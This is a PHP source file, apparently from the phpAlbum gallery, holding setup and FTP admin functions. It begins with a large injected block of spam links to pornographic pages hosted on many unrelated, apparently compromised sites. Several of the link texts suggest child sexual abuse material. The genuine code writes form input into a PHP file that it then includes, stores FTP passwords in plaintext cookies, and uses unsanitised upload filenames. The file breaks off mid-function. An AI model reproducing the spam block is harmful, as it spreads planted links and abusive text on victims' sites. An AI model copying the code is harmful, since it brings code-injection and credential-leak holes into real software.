href=http://www.dietary-supplements-shopping.com/pics/_images/handjob-video-post/children-jerking-off.html rel=dofollow><h2>children jerking off</h2></a> new  eightteen nude models <a href=http://shopthewoolgarden.com/PDGCommTemplates/store002/_images/pornstar-free-movie-thumbs/eightteen-nude-models.html rel=dofollow><h2>eightteen nude models</h2></a> came  harry pussy fucked <a href=http://teachmetomakemoneyonline.com/wp-content/plugins/_images/peliculas-latinas-online/harry-pussy-fucked.html rel=dofollow><h2>harry pussy fucked</h2></a> full  jetsons hentai videos <a href=http://beaver-lodge.ca/gate2north/anglican/_images/montreal-gay-night-clubs/jetsons-hentai-videos.html rel=dofollow><h2>jetsons hentai videos</h2></a> kind  nude upskirt women 20 30 <a href=http://www.schoolswithopenarms.com/tip_balloon/_images/super-dziewczyny-pics-xxx/nude-upskirt-women-20-30.html rel=dofollow><h2>nude upskirt women 20 30</h2></a> mark  naked coeds videos <a href=http://www.randyakers.com/flash/_images/sex-toy-hotel-room/naked-coeds-videos.html rel=dofollow><h2>naked coeds videos</h2></a> land  sri lanka and dating <a href=http://www.whowillsit.com/cursillista/forms/_images/japanese-train-sex-molestation/sri-lanka-and-dating.html rel=dofollow><h2>sri lanka and dating</h2></a> during  chinese swingers dating <a href=http://www.logos7.com/ghanaopen/Welcome_files/_images/boobs-have-to-sag/chinese-swingers-dating.html rel=dofollow><h2>chinese swingers dating</h2></a> ship  double d s strip club <a href=http://piratemonkeypress.com/gallery/Japan08/_images/anal-slamers/double-d-s-strip-club.html rel=dofollow><h2>double d s strip club</h2></a> process  calvin klein naked thong <a href=http://www.livinghope4u.com/gallery/logs/_images/non-nude-cheerleader-panties/calvin-klein-naked-thong.html rel=dofollow><h2>calvin klein naked thong</h2></a> miss  stanton and femdom <a href=http://barefootmalecelebs.com/wp-admin/css/_images/gays-sucking-guys-dicks/stanton-and-femdom.html rel=dofollow><h2>stanton and femdom</h2></a> gun  dale evans and cowgirl <a href=http://www.pinkroioshn.org/lo/SpryAssets/_images/fetish-robots/dale-evans-and-cowgirl.html rel=dofollow><h2>dale evans and cowgirl</h2></a> success  vultee vibrator <a href=http://plumvoice22.com/pvclients/CLIENTS/_images/chubby-free-sex-pics/vultee-vibrator.html rel=dofollow><h2>vultee vibrator</h2></a> mother  extra large condoms <a href=http://www.heatherandchopper.com/wp-content/themes/_images/transsexuele-escort-belgie/extra-large-condoms.html rel=dofollow><h2>extra large condoms</h2></a> distant  fucking vergins hardcore <a href=http://alahwaz.info/fullsite/alahwaz.info/_images/jessica-simpson-booty/fucking-vergins-hardcore.html rel=dofollow><h2>fucking vergins hardcore</h2></a> interest  teenage underwear photo shoot <a href=http://alanbedenko.com/wp-admin/import/_images/beating-up-pussy/teenage-underwear-photo-shoot.html rel=dofollow><h2>teenage underwear photo shoot</h2></a> heavy  lesbian video rss <a href=http://www.logos7.com/ghanaopen/Welcome_files/_images/boobs-have-to-sag/lesbian-video-rss.html rel=dofollow><h2>lesbian video rss</h2></a> mark  massive cock sex movies <a href=http://www.johnirwindesign.com/drupal/themes/_images/nipple-teaser-adults-australia/massive-cock-sex-movies.html rel=dofollow><h2>massive cock sex movies</h2></a> hill  cashmere bouquet beauty bar <a href=http://stefanodiana.info/jipu/wp-content/_images/oblivion-topless-underwear-mod/cashmere-bouquet-beauty-bar.html rel=dofollow><h2>cashmere bouquet beauty bar</h2></a> thing  mpg for buick lacrosse <a href=http://osondu.com/download/VolumeOne/_images/sarah-blake-anal/mpg-for-buick-lacrosse.html rel=dofollow><h2>mpg for buick lacrosse</h2></a> moment  supreme gay porn <a href=http://kalispellsuper8.com/photo/include/_images/watersport-watersport-pissing-sex/supreme-gay-porn.html rel=dofollow><h2>supreme gay porn</h2></a> suit  buzzhumor chicks <a href=http://cowboyboot.ca/techs/mc/_images/amateur-naked-girl-pics/buzzhumor-chicks.html rel=dofollow><h2>buzzhumor chicks</h2></a> up  virual sex games <a href=http://opinionsdaily.net/wp-content/themes/_images/bile-dysfunction-diseases/virual-sex-games.html rel=dofollow><h2>virual sex games</h2></a> brown  pleasing sex with spouse <a href=http://yeguadavalle.es/prueba/Styles/_images/pictures-of-pornstar-june/pleasing-sex-with-spouse.html rel=dofollow><h2>pleasing sex with spouse</h2></a> lift  asian pornstar squirt <a href=http://www.oxmindfulness.org/custom_assets/flash/_images/333-gay/asian-pornstar-squirt.html rel=dofollow><h2>asian pornstar squirt</h2></a> close  naked nathan <a href=http://www.aprie.com/old_stuff/_image/hairey-pussey-review/naked-nathan.html rel=dofollow><h2>naked nathan</h2></a> if  printable naughty coupons <a href=http://designyatra.com/jce/jce/_images/can-males-have-orgasms/printable-naughty-coupons.html rel=dofollow><h2>printable naughty coupons</h2></a> bear  italian game show strip <a href=http://perrysautoauction.net/Flyers/100808/_images/brazilain-lesbians/italian-game-show-strip.html rel=dofollow><h2>italian game show strip</h2></a> two  breast implant surgery texas <a href=http://www.heatherandchopper.com/wp-content/themes/_images/transsexuele-escort-belgie/breast-implant-surgery-texas.html rel=dofollow><h2>breast implant surgery texas</h2></a> port  alternative counseling <a href=http://www.mfge.com/_themes/mfge/_images/beaver-flats-boats/alternative-counseling.html rel=dofollow><h2>alternative counseling</h2></a> pitch  naughty texting ideas <a href=http://www.opaquewhite.com/shakeartistcom/blog/_images/daily-cum-facial/naughty-texting-ideas.html rel=dofollow><h2>naughty texting ideas</h2></a> element  cross dressing bondage <a href=http://www.obviatemedia.net/obviatemedia/wordpress/backup/hot-girls-xxx-video/cross-dressing-bondage.html rel=dofollow><h2>cross dressing bondage</h2></a> figure  rosemari teen bikini <a href=http://www.pinkroioshn.org/lo/SpryAssets/_images/fetish-robots/rosemari-teen-bikini.html rel=dofollow><h2>rosemari teen bikini</h2></a> one  oiling tits <a href=http://affleap.com/template/css/_images/party-sex-porn-movies/oiling-tits.html rel=dofollow><h2>oiling tits</h2></a> wash  naked prepubescent dick <a href=http://cowboyboot.ca/techs/mc/_images/amateur-naked-girl-pics/naked-prepubescent-dick.html rel=dofollow><h2>naked prepubescent dick</h2></a> dictionary  thick bbw tgp <a href=http://kalispellsuper8.com/photo/include/_images/watersport-watersport-pissing-sex/thick-bbw-tgp.html rel=dofollow><h2>thick bbw tgp</h2></a> good  nicole kidman voyeur <a href=http://www.johnirwindesign.com/drupal/themes/_images/nipple-teaser-adults-australia/nicole-kidman-voyeur.html rel=dofollow><h2>nicole kidman voyeur</h2></a> help  tricorner knob <a href=http://lunchisforwimps.com/wp-admin/import/_images/watching-girls-strip/tricorner-knob.html rel=dofollow><h2>tricorner knob</h2></a> love  girl sucking shemale dick <a href=http://bcbeanery.com/_themes/poetic/_images/busty-asian-pornstar/girl-sucking-shemale-dick.html rel=dofollow><h2>girl sucking shemale dick</h2></a> compare  nicole hipp nude <a href=http://opinionsdaily.net/wp-content/themes/_images/bile-dysfunction-diseases/nicole-hipp-nude.html rel=dofollow><h2>nicole hipp nude</h2></a> cow  amateur caught on tape <a href=http://www.heatherandchopper.com/wp-content/themes/_images/transsexuele-escort-belgie/amateur-caught-on-tape.html rel=dofollow><h2>amateur caught on tape</h2></a> keep  intimate nudes <a href=http://www.asd-alpha.com/usertpl/1vg01091/_images/pornstar-podium/intimate-nudes.html rel=dofollow><h2>intimate nudes</h2></a> many  graphic sex story <a href=http://www.obviatemedia.net/obviatemedia/wordpress/backup/hot-girls-xxx-video/graphic-sex-story.html rel=dofollow><h2>graphic sex story</h2></a> little  bottom fetish <a href=http://www.petsdreampark.com/stuff/20080422/_images/girls-boyshorts-underwear/bottom-fetish.html rel=dofollow><h2>bottom fetish</h2></a> skill  teen tiered <a href=http://www.oaksterdaminfo.com/2008/09/_images/tiffany-minx-footjob/teen-tiered.html rel=dofollow><h2>teen tiered</h2></a> two  morbid love songs <a href=http://osondu.com/download/VolumeOne/_images/sarah-blake-anal/morbid-love-songs.html rel=dofollow><h2>morbid love songs</h2></a> job  nordonia topless <a href=http://www.johnirwindesign.com/drupal/themes/_images/nipple-teaser-adults-australia/nordonia-topless.html rel=dofollow><h2>nordonia topless</h2></a> apple  tristan taylor love stories <a href=http://teachmetomakemoneyonline.com/wp-content/plugins/_images/peliculas-latinas-online/tristan-taylor-love-stories.html rel=dofollow><h2>tristan taylor love stories</h2></a> match  sliding scale counseling arizona <a href=http://www.brunosalvatori.com/mosaichtml/_images/top-hottest-lesbians-pornstar/sliding-scale-counseling-arizona.html rel=dofollow><h2>sliding scale counseling arizona</h2></a> spell  girls on girls lesbians <a href=http://wildwonderfulwalks.com/newsletter/wp-content/_images/amateur-nudists-free/girls-on-girls-lesbians.html rel=dofollow><h2>girls on girls lesbians</h2></a> print  shemale wiggle <a href=http://piratemonkeypress.com/gallery/Japan08/_images/anal-slamers/shemale-wiggle.html rel=dofollow><h2>shemale wiggle</h2></a> fig  mother daughter lesbian stories <a href=http://perrysautoauction.net/Flyers/100808/_images/brazilain-lesbians/mother-daughter-lesbian-stories.html rel=dofollow><h2>mother daughter lesbian stories</h2></a> south  oklahoma escort services <a href=http://cowboyboot.ca/techs/mc/_images/amateur-naked-girl-pics/oklahoma-escort-services.html rel=dofollow><h2>oklahoma escort services</h2></a> were    </div></body></html>";

}

function check_writable($dir){
     error_reporting(0);
     $file=fopen($dir."writablity_test","w");
     fclose($file);
     unlink($dir."writablity_test");
     error_reporting(E_ERROR | E_WARNING | E_PARSE);
     return $file;
}
/****************************************/
/*      SETUP COMMAND                   */
/****************************************/

function generate_setup_page(){
global $var1;
global $var2;
global $var3;
global $var4;
global $album_dir;
global $cache_dir;
global $data_dir;
global $setup_password;
global $logo_path,$logo_enabled,$site_name,$site_theme,$site_engine,$themes_dir,$theme_params,$return_home_url,$new_dir_indic;
global $logs_enabled,$logs_filename,$logs_exclude,$quality_settings,$quality;
global $album_name,$album_dir_name,$cookie_password_hours,$setup_text,$next_text,$previous_text,$disable_bottom_nextprev,$character_set;
global $cache_thumbnails,$cache_resized_photos,$phpalbum_version;
global $directory_style,$maximum_photos_per_page,$raster_dir_x,$raster_dir_y,$next_page_text,$previous_page_text,$ftp_server,$ftp_server_photos_dir;
global $comments_enabled;
global $show_filenames;
global $character_set;
global $pa_texts,$pa_translated_texts;
global $default_sorting;
	if($var1=="") {
	  ob_start();require("setup.inc");$contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);
	  return;
	}
	if($var1=="main"){
	  if($var2=="save"){
		$p_p=$_POST['p_p'];
		$p_pd=$_POST['p_pd'];
		$p_dd=$_POST['p_dd'];
		$p_cd=$_POST['p_cd'];
		
		if(substr($p_cd,-1,1)!="/"){
			$p_cd=$p_cd."/";
		}
		if(substr($p_pd,-1,1)!="/"){
			$p_pd=$p_pd."/";
		}
		
		$p_name=stripslashes($_POST['p_name']);
		$p_logo_enabled=$_POST['p_logo_enabled'];
		$p_logo_path=$_POST['p_logo_path'];
		$p_theme=$_POST['p_theme'];
		$p_return_home_url=$_POST['p_return_home_url'];
		$p_new_dir_indic=$_POST['p_new_dir_indic'];
		$p_album_name=stripslashes($_POST['p_album_name']);
		$p_album_dir_name=stripslashes($_POST['p_album_dir_name']);
		$p_setup_text=stripslashes($_POST['p_setup_text']);
		$p_next_text=stripslashes($_POST['p_next_text']);
		$p_previous_text=stripslashes($_POST['p_previous_text']);
		$p_character_set=$_POST['p_character_set'];
		if(isset($_POST['p_disable_bottom_nextprev'] )){$p_disable_bottom_nextprev="true";}else{$p_disable_bottom_nextprev="false";}
		$p_cookie_password_hours=$_POST['p_cookie_password_hours'];
		$file=fopen($data_dir."main_setup.dat","w");
		if(isset($p_logo_enabled)){$p_logo_enabled="true";}else{$p_logo_enabled="false";}
		//0.3.0
		 $p_directory_style=$_POST['p_directory_style'];
 		 $p_maximum_photos_per_page=$_POST['p_maximum_photos_per_page'];
		 $p_raster_dir_x=$_POST['p_raster_dir_x'];
		 $p_raster_dir_y=$_POST['p_raster_dir_y'];
		 $p_next_page_text=stripslashes($_POST['p_next_page_text']);
		 $p_previous_page_text=stripslashes($_POST['p_previous_page_text']);
		 //ftp-settings
		 $p_ftp_server=$_POST['p_ftp_server'];
		 $p_ftp_server_photos_dir=$_POST['p_ftp_server_photos_dir'];
	   if(isset($_POST['p_show_filenames'] )){$p_show_filenames="true";}else{$p_show_filenames="false";}
	     $p_default_sorting=$_POST['p_default_sorting'];
		
		fwrite($file,"$p_p\n$p_pd\n$p_cd\n$p_name\n$p_logo_enabled\n$p_logo_path\n$p_theme\n$p_return_home_url\n$p_new_dir_indic\n");
		fwrite($file,"$p_album_name\n$p_album_dir_name\n$p_cookie_password_hours\n$p_setup_text\n$p_next_text\n$p_previous_text\n$p_disable_bottom_nextprev\n$p_character_set\n");
		//writig 0.3.0 new params
		fwrite($file,"$p_directory_style\n$p_maximum_photos_per_page\n$p_raster_dir_x\n$p_raster_dir_y\n$p_next_page_text\n$p_previous_page_text\n$p_ftp_server\n$p_ftp_server_photos_dir\n$p_show_filenames\n$p_default_sorting\n");
		fclose($file);
		
		/*write theme settings*/
		if($site_theme == $p_theme){
			$file=fopen($data_dir.$site_theme.".dat","w");
			$num=0;
			while(isset($theme_params[$num]) || isset($_POST["p_theme_".$num])){
				if($num>0){
					fwrite($file,"|");
				}
				if(isset($_POST["p_theme_".$num])){
					fwrite($file,stripslashes($_POST["p_theme_".$num]));
					
				}else{
					fwrite($file,$theme_params[$num]);
				}
				$num=$num+1;
			}
			fclose($file);
			
		}
		
	        save_quality_settings();
		read_settings();
		theme_initialize();
	  }
	  	
	  	ob_start();require("setup_main.inc");$contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);
		
	  return;
	}
	if($var1=="logs"){
	  if($var2=="save"){
	  	$p_enabled=$_POST['p_enabled'];
		$p_filename=$_POST['p_filename'];
		$p_exclude=$_POST['p_exclude'];
		$file=fopen($data_dir."logs_setup.dat","w");
		if(isset($p_enabled)){
		        fwrite($file,"true|$p_filename|$p_exclude");
		}else{
		        fwrite($file,"false|$p_filename|$p_exclude");
		}
		fclose($file);
		read_settings();
	  }
	  if($var2=="view"){
	  	ob_start();require("setup_logs.inc");$contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);

		if(file_exists($cache_dir.$logs_filename)){
			$file=file($cache_dir.$logs_filename);
			echo "<table>";
	        	foreach($file as $line_num=>$line){
 	                	$strings=explode("|",$line);
				echo "<tr>";
				foreach($strings as $num=>$string){
					echo "<td class=\"boxbody\">".$string."</td>";
				}	
				echo "<td class=\"boxbody\"><a class=\"me\" href=\"main.php?cmd=".$strings[1]."&var1=".$strings[2]."\">view<a/></td>";
				echo "</tr>";
                	}
			echo "</table>";
		}else{ echo "Log file not found !!";}
		return;
	  }
	  if($var2=="del"){
	    	  ob_start();require("setup_logs.inc");
		  if(file_exists($cache_dir.$logs_filename)){
		  	unlink($cache_dir.$logs_filename);
			echo "File deleted";
		  }else{
		  	echo "File not found!";
		  }
		  $contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);
		  return;	
	  }
   	  ob_start();require("setup_logs.inc");$contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);
	  return;
	}
	
	if($var1=="dirs"){
	  if($var2=="save"){
	  	$num=0;
		while(isset($_POST["p_dir_".$num])){
			$f_name=stripslashes($data_dir.str_replace(" ","_",str_replace("/","_",conv_in($_POST["p_dir_".$num]))).".dat");
			if(file_exists($f_name)){
			   $old_file=file($f_name);
			}
			$file=fopen($f_name,"w");
			fwrite($file,$_POST["p_pass_".$num]."|".pa_html_encode(stripslashes($_POST["p_desc_".$num]))."|".pa_html_encode(stripslashes($_POST["p_desc_long_".$num]))."|".pa_html_encode(stripslashes($_POST["p_alias_".$num]))."|".$_POST["p_sorting_".$num]."|".((isset($_POST["p_visible_".$num])?"true":"false"))."\n");
			$num=$num+1;
			$i=1;
			while(isset($old_file[$i])){
				fwrite($file,$old_file[$i]);
				$i=$i+1;
			}
			fclose($file);
		}
	  }
	  if($var2=="save2"){
	        /*saving advanced dir settings*/
	  $f_name=stripslashes($data_dir.str_replace(" ","_",str_replace("/","_",conv_in($_POST["p_dir"]))).".dat");
		$file=fopen($f_name,"w");
		/*writing dir settings*/
		
		fwrite($file,$_POST["p_pass"]."|".pa_html_encode(stripslashes($_POST["p_desc"]))."|".pa_html_encode(string2store(stripslashes($_POST["p_desc_long".$num])))."|".pa_html_encode(stripslashes($_POST["p_alias"]))."|".$_POST["p_sorting"]."|".((isset($_POST["p_visible"])?"true":"false"))."\n");
		
	  	$num=1;
		while(isset($_POST["p_file_".$num])){
			fwrite($file,stripslashes(conv_in($_POST["p_file_".$num]))."|".pa_html_encode(stripslashes($_POST["p_file_sd_".$num]))."|".pa_html_encode(string2store(stripslashes($_POST["p_file_ld_".$num])))."\n");
			$num=$num+1;
		}
		fclose($file);
	  }
	  if(strlen($var3)>0){
	     $sett=get_directory_settings(conv_in($var3));
	  	ob_start();require("setup_dir_advanced.inc");$contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);
          }else{
    	     $dirs=get_photos_directories("/",$dirs);
  	     ob_start();require("setup_dirs.inc");$contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);
	  }
	  return;
	}
	if($var1=="comments"){
		if($var2=="delete"){
			if($var3 && $var4){
			 delete_comment($var3,$var4);
			}
		}
		if($var2=="approve"){
			if($var3 && $var4){
			 approve_comment($var3,$var4);
			}
		}
	  if($var2=="save"){
		if(isset($_POST['p_comments_enabled'] )){$p_comments_enabled="true";}else{$p_comments_enabled="false";}
		$file=fopen($data_dir."comments_setup.dat","w");
	        fwrite($file,"$p_comments_enabled");
		fclose($file);
		read_settings();
	  }
  	  ob_start();require("setup_comments.inc");$contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);
	  return;
	}
	if($var1=="cache"){
	  if($var2=="delete"){
	     delete_cache($cache_dir,0);
	  }
	  if($var2=="save"){
		if(isset($_POST['p_cache_thumbnails'] )){$p_cache_thumbnails="true";}else{$p_cache_thumbnails="false";}
		if(isset($_POST['p_cache_resized_photos'] )){$p_cache_resized_photos="true";}else{$p_cache_resized_photos="false";}
		$file=fopen($data_dir."cache_setup.dat","w");
	        fwrite($file,"$p_cache_thumbnails|$p_cache_resized_photos");
		fclose($file);
		read_settings();
	  }
  	  ob_start();require("setup_cache.inc");$contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);
	  return;
	}
	if($var1=="texts"){
		if($var2=="save"){
			if(file_exists($data_dir."translation.dat")){
				/*delete*/
				unlink($data_dir."translation.dat");
			}
			$first=true;
			foreach($_POST as $key => $text){
				if(substr($key,0,3)=="ID_" && strlen($text)>0){
					  $text=str_replace(Array('\\','"'),Array('\\\\','\"'),stripslashes($text));
						/*this is an id translation*/
						if($first){
							$file=fopen($data_dir."translation.dat","w");
							$first=false;
							fwrite($file,"<?\n\$pa_translated_texts = Array(\n\"$key\" => \"$text\"\n");
						}else{
							fwrite($file,",\"$key\" => \"$text\"\n");
						}
						
				}
			}
			if(!$first){ fwrite($file,");\n?>\n"); fclose($file); }
			if(file_exists($data_dir."translation.dat")){
				include($data_dir."translation.dat");
			}else{
				unset($pa_translated_texts);
			}
		}
		 
		ob_start();require("setup_texts.inc");$contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);
	  return;
  }
	if($var1=="admin"){
		error_reporting(0);
		if(isset($_COOKIE['p_pass'])){ $p_pass=$_COOKIE['p_pass']; }
		if(isset($_COOKIE['p_user'])){ $p_user=$_COOKIE['p_user']; }
		if(isset($_COOKIE['p_actdir'])){ $p_actdir=$_COOKIE['p_actdir']; }

		if(isset($_POST['p_user'])){ $p_user=$_POST['p_user']; }
		if(isset($_POST['p_pass'])){ $p_pass=$_POST['p_pass']; }

	
		if(isset($_POST['p_dir'])){ $p_dir=conv_in($_POST['p_dir']); }
		if(isset($_GET['p_dir'])){ $p_dir=conv_in($_GET['p_dir']); }
		
		if(isset($_POST['p_file_name'])){ $p_file_name=conv_in($_POST['p_file_name']); }
		if(isset($_GET['p_file_name'])){ $p_file_name=conv_in($_GET['p_file_name']); }
		
		if($var2=="login"){
			if( !($ftp_error=ftp_check_login($p_user,$p_pass)) ){
				/*set cookie*/
				setcookie("p_user",$p_user);
				setcookie("p_pass",$p_pass);
				setcookie("p_actdir","");
				$p_actdir="";
				ob_start();require("setup_admin.inc");$contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);
				return;
			}else{
				ob_start();require("setup.inc");$contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);
				return;
			}
		}
		if($var2=="chdir"){
			$p_actdir=$p_dir;
			setcookie("p_actdir",$p_actdir);
			ob_start();require("setup_admin.inc");$contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);
			return;
			
		}
		if($var2=="mkdir"){
			$ftp_error=ftp_setup_mkdir($p_user,$p_pass,$p_actdir,$p_dir);
			ob_start();require("setup_admin.inc");$contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);
			return;
		}
		if($var2=="rmdir"){
			$ftp_error=ftp_setup_rmdir($p_user,$p_pass,$p_actdir,$p_dir);
			ob_start();require("setup_admin.inc");$contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);
			return;
		}
		if($var2=="delete"){
			$ftp_error=ftp_setup_delete($p_user,$p_pass,$p_actdir,$p_file_name);
			ob_start();require("setup_admin.inc");$contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);
			return;
		}
		if($var2=="upload"){

			$uploaddir = $cache_dir;

			if (move_uploaded_file($_FILES['p_file']['tmp_name'], $uploaddir . conv_in($_FILES['p_file']['name']))) {
			   $ftp_error=ftp_setup_put_file($p_user,$p_pass,$p_actdir,$uploaddir . conv_in($_FILES['p_file']['name']),conv_in($_FILES['p_file']['name']));
			   /*deleted from cache*/
			   unlink($uploaddir . $_FILES['p_file']['name']);				   
			} else {
			   $ftp_error="Possible file upload attack!";
			}


			ob_start();require("setup_admin.inc");$contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);
			return;
		}
		if($var2=="uploadzip"){

			$uploaddir = $cache_dir;

			if (move_uploaded_file($_FILES['p_file']['tmp_name'], $uploaddir . conv_in($_FILES['p_file']['name']))) {
			   $ftp_error=ftp_setup_put_zip_file($p_user,$p_pass,$p_actdir,$uploaddir . conv_in($_FILES['p_file']['name']),conv_in($_FILES['p_file']['name']));
			   /*deleted from cache*/
			   unlink($uploaddir . $_FILES['p_file']['name']);				   
			} else {
			   $ftp_error="Possible file upload attack!";
			}


			ob_start();require("setup_admin.inc");$contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);
			return;
		}
		
	}
  	 ob_start();require("setup.inc");$contents = ob_get_contents();ob_end_clean();theme_generate_setup_page($contents);
}


/**********************************************************/
/****************** FTP Functions *************************/
/**********************************************************/
function create_dir($conn,$remote_directory){
  $dir=split("/", $remote_directory);
   $path="";
   $result = true;
       error_reporting(0);
  
   for ($i=1;$i<count($dir);$i++)
   {
	    $path.="/".$dir[$i];
       //echo "$path\n";
       if(!ftp_chdir($conn,$path)){
         ftp_chdir($conn,"/");
         if(!ftp_mkdir($conn,$path)){
            $result=false;
            break;
         }
       }
   }
   error_reporting(E_ERROR | E_WARNING | E_PARSE);
	
return $result;
}

function ftp_setup_mkdir($p_user,$p_pass,$p_actdir,$p_dir){
	global $ftp_server,$ftp_server_photos_dir;
	
        $conn=ftp_connect($ftp_server);
	if (!$conn ){
    		return "Unable to connect to the server $ftp_server";
	}

	$result = ftp_login($conn,$p_user,$p_pass);

	if(!$result){
	    ftp_close($conn);return "Username or password invalid!";
	}

	$result = ftp_pasv($conn,true);

	if(!$result){
	    ftp_close($conn);return "Unable to setup passive mode on ftp server";
	}

/*reading install script and doing what to do is*/
   	$result=create_dir($conn,$ftp_server_photos_dir.$p_actdir.$p_dir);
	if(!$result){
		ftp_close($conn);return "Unable to create directory $p_dir on ftp server";
   	}
	$result=ftp_close($conn);
	return "";
}

function ftp_setup_rmdir($p_user,$p_pass,$p_actdir,$p_dir){
	global $ftp_server,$ftp_server_photos_dir;
	
        $conn=ftp_connect($ftp_server);
	if (!$conn ){
    		return "Unable to connect to the server $ftp_server";
	}

	$result = ftp_login($conn,$p_user,$p_pass);

	if(!$result){
	    ftp_close($conn);return "Username or password invalid!";
	}

	$result = ftp_pasv($conn,true);

	if(!$result){
	    ftp_close($conn);return "Unable to setup passive mode on ftp server";
	}

/*reading install script and doing what to do is*/
	$result=ftp_chdir($conn,$ftp_server_photos_dir.$p_actdir.".");
	if(!$result){
		ftp_close($conn);return "Unable to change to  directory $ftp_server_photos_dir$p_actdir on ftp server";
   	}
   	$result=ftp_rmdir($conn,$p_dir);
	if(!$result){
		ftp_close($conn);return "Unable to delete directory $ftp_server_photos_dir$p_actdir$p_dir on ftp server";
   	}
	$result=ftp_close($conn);
	return "";
}
function ftp_setup_delete($p_user,$p_pass,$p_actdir,$p_file){
	global $ftp_server,$ftp_server_photos_dir;
	
        $conn=ftp_connect($ftp_server);
	if (!$conn ){
    		return "Unable to connect to the server $ftp_server";
	}

	$result = ftp_login($conn,$p_user,$p_pass);

	if(!$result){
	    ftp_close($conn);return "Username or password invalid!";
	}

	$result = ftp_pasv($conn,true);

	if(!$result){
	    ftp_close($conn);return "Unable to setup passive mode on ftp server";
	}

/*reading install script and doing what to do is*/
	$result=ftp_chdir($conn,$ftp_server_photos_dir.$p_actdir.".");
	if(!$result){
		ftp_close($conn);return "Unable to change to  directory $ftp_server_photos_dir$p_actdir on ftp server";
   	}
   	$result=ftp_delete($conn,$p_file);
	if(!$result){
		ftp_close($conn);return "Unable to delete file $p_file on ftp server";
   	}
	$result=ftp_close($conn);
	return "";
}
function ftp_setup_put_file($p_user,$p_pass,$p_actdir,$local,$remote){
	global $ftp_server,$ftp_server_photos_dir;
	
        $conn=ftp_connect($ftp_server);
	if (!$conn ){
    		return "Unable to connect to the server $ftp_server";
	}

	$result = ftp_login($conn,$p_user,$p_pass);

	if(!$result){
	    ftp_close($conn);return "Username or password invalid!";
	}

	$result = ftp_pasv($conn,true);

	if(!$result){
	    ftp_close($conn);return "Unable to setup passive mode on ftp server";
	}

/*reading install script and doing what to do is*/
	$result=ftp_chdir($conn,$ftp_server_photos_dir.$p_actdir.".");
	if(!$result){
		ftp_close($conn);return "Unable to change to  directory $ftp_server_photos_dir$p_actdir on ftp server";
   	}
	
	
   	if(!ftp_put($conn,$remote,$local,FTP_BINARY)){ftp_close($conn);return "Unable to upload file $remote!";}
	$result=ftp_close($conn);
	return "";
}

function ftp_setup_put_zip_file($p_user,$p_pass,$p_actdir,$local,$remote){
	global $ftp_server,$ftp_server_photos_dir,$cache_dir;
	$tmp=$cache_dir."tmp.file";
        $conn=ftp_connect($ftp_server);
	if (!$conn ){
    		return "Unable to connect to the server $ftp_server";
	}

	$result = ftp_login($conn,$p_user,$p_pass);

	if(!$result){
	    ftp_close($conn);return "Username or password invalid!";
	}

	$result = ftp_pasv($conn,true);

	if(!$result){
	    ftp_close($conn);return "Unable to setup passive mode on ftp server";
	}

/*reading install script and doing what to do is*/
	$result=ftp_chdir($conn,$ftp_server_photos_dir.$p_actdir.".");
	if(!$result){
		ftp_close($conn);return "Unable to change to  directory $ftp_server_photos_dir$p_actdir on ftp server";
   	}
	if(function_exists('zip_open')){
		$zip=zip_open($local);
		if($zip){
			while($zip_entry=zip_read($zip)){
				if(zip_entry_filesize($zip_entry)>0){
					if (zip_entry_open($zip, $zip_entry, "rb")) {
					   $buf = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
		           	   $ft=fopen($tmp,"wb");
		           	   if($ft){
		         	   		fwrite($ft,$buf,zip_entry_filesize($zip_entry));
		           	   		fclose($ft);
		           	   }else{
		           	   		ftp_close($conn);return "unable to open temporary file";
		           	   }
		           	   		
		           	   if(!ftp_put($conn,$ftp_server_photos_dir.$p_actdir.zip_entry_name($zip_entry),$tmp,FTP_BINARY)){
		    			   	$result=create_dir($conn,$ftp_server_photos_dir.$p_actdir.dirname(zip_entry_name($zip_entry)));
							if(!$result){ ftp_close($conn);return "Unable to create directory ".dirname(zip_entry_name($zip_entry))." on ftp server";}
							if(!ftp_put($conn,$ftp_server_photos_dir.$p_actdir.zip_entry_name($zip_entry),$tmp,FTP_BINARY)){ftp_close($conn);return "Unable to upload file ".zip_entry_name($zip_entry);}
		           	   }
		           	   zip_entry_close($zip_entry);
		       		}
				}else{
				   	$result=create_dir($conn,$ftp_server_photos_dir.$p_actdir.zip_entry_name($zip_entry));
					if(!$result){
						ftp_close($conn);return "Unable to create directory $p_dir on ftp server";
   					}
				}
			}
		}else{
			ftp_close($conn);return "Not a zip file or not supported format!";
		}
	}else{
		ftp_close($conn);return "No ZIP-Support in PHP installed!";
	}
	
	
	$result=ftp_close($conn);
	return "";
}


function ftp_check_login($p_user,$p_pass){
	/*create test file, upload and thest if it comes to the right directory*/
	global $ftp_server,$ftp_server_photos_dir,$album_dir,$cache_dir;
	
        $conn=ftp_connect($ftp_server);
	if (!$conn ){
    		return "Unable to connect to the server $ftp_server";
	}

	$result = ftp_login($conn,$p_user,$p_pass);

	if(!$result){
	    ftp_close($conn); return "Username or password invalid!";
	}

	$result = ftp_pasv($conn,true);

	if(!$result){
	    ftp_close($conn); return "Unable to setup passive mode on ftp server";
	}

/*reading install script and doing what to do is*/
	$result=ftp_chdir($conn,$ftp_server_photos_dir.".");
	if(!$result){
		ftp_close($conn); return "Unable to change to  directory $ftp_server_photos_dir$p_actdir on ftp server";
   	}
	$test=md5(time());
	$f=fopen($cache_dir.".test","w"); fwrite($f,$test); fclose($f);
	
   	if(!ftp_put($conn,".test",$cache_dir.".test",FTP_BINARY)){ftp_close($conn); return "Unable to upload file testfile!";}
	
	$ff=file($album_dir.".test");
